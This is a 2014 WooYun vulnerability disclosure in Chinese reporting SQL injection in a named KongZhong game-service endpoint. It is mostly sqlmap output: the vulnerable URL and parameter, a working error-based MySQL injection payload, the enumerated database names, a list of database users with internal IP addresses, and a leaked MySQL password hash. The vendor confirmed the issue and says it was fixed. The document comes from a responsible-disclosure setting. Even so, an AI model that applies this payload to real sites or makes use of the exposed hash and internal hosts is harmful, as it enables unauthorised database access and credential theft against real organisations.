漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-076925
漏洞标题：空中网某点SQL注入一枚涉及内网
相关厂商：空中网
漏洞作者： 爱上平顶山
提交时间：2014-09-22 14:50
修复时间：2014-11-06 14:52
公开时间：2014-11-06 14:52
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-22： 细节已通知厂商并且等待厂商处理中
2014-09-22： 厂商已经确认，细节仅向厂商公开
2014-10-02： 细节向核心白帽子及相关领域专家公开
2014-10-12： 细节向普通白帽子公开
2014-10-22： 细节向实习白帽子公开
2014-11-06： 细节向公众公开
简要描述：
0.0
详细说明：
空中网：
点：
http://center.tkfy.kongzhong.com/user/get_user_server?account=
[14:21:29] [INFO] resuming back-end DBMS 'mysql'
[14:21:29] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: account
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: account=' AND (SELECT 8008 FROM(SELECT COUNT(*),CONCAT(0x3a6978723a,(SELECT
(CASE WHEN (8008=8008) THEN 1 ELSE 0 END)),0x3a6d70643a,FLOOR(RAND(0)*2))x FROM INFORMA
TION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'vCNA'='vCNA
---
[14:21:29] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.28
back-end DBMS: MySQL 5.0
[14:21:29] [INFO] fetching database names
[14:21:29] [INFO] the SQL query used returns 7 entries
[14:21:29] [INFO] resumed: information_schema
[14:21:29] [INFO] resumed: kongzhong_tank_s1
[14:21:29] [INFO] resumed: kongzhong_tank_web_center
[14:21:29] [INFO] resumed: kongzhong_tank_web_s1
[14:21:29] [INFO] resumed: mysql
[14:21:29] [INFO] resumed: performance_schema
[14:21:29] [INFO] resumed: test
available databases [7]:
[*] information_schema
[*] kongzhong_tank_s1
[*] kongzhong_tank_web_center
[*] kongzhong_tank_web_s1
[*] mysql
[*] performance_schema
[*] test
[14:43:49] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.28
back-end DBMS: MySQL 5.0
[14:43:49] [INFO] fetching database users
[14:43:49] [INFO] the SQL query used returns 475 entries
database management system users [475]:
[*] ''@'localhost'
[*] 'root'@'%'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'tencentroot'@'10.142.5.29'
[*] 'tencentroot'@'10.142.62.18'
[*] 'tencentroot'@'10.142.62.26'
[*] 'tencentroot'@'10.182.28.55'
[*] 'tencentroot'@'10.182.63.40'
[*] 'tencentroot'@'10.207.50.62'
[*] 'tencentroot'@'127.0.0.1'
[*] 'tencentroot'@'20.142.5.29'
[*] 'tencentroot'@'20.142.62.18'
[*] 'tencentroot'@'20.142.62.26'
[*] 'tencentroot'@'20.182.28.55'
[*] 'tencentroot'@'20.182.63.40'
[*] 'tencentroot'@'localhost'
database management system users password hashes:
[*] root [1]:
password hash: NULL
[*] tencentroot [2]:
password hash: *9CADC0613D1E6A7F96E47E75A86EFEBF43887538
password hash: NULL
ok
漏洞证明：
[14:43:49] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.28
back-end DBMS: MySQL 5.0
[14:43:49] [INFO] fetching database users
[14:43:49] [INFO] the SQL query used returns 475 entries
database management system users [475]:
[*] ''@'localhost'
[*] 'root'@'%'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'tencentroot'@'10.142.5.29'
[*] 'tencentroot'@'10.142.62.18'
[*] 'tencentroot'@'10.142.62.26'
[*] 'tencentroot'@'10.182.28.55'
[*] 'tencentroot'@'10.182.63.40'
[*] 'tencentroot'@'10.207.50.62'
[*] 'tencentroot'@'127.0.0.1'
[*] 'tencentroot'@'20.142.5.29'
[*] 'tencentroot'@'20.142.62.18'
[*] 'tencentroot'@'20.142.62.26'
[*] 'tencentroot'@'20.182.28.55'
[*] 'tencentroot'@'20.182.63.40'
[*] 'tencentroot'@'localhost'
修复方案：
过滤
版权声明：转载请注明来源 爱上平顶山@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：4
确认时间：2014-09-22 15:23
厂商回复：
漏洞已经处理，感谢支持！
最新状态：
暂无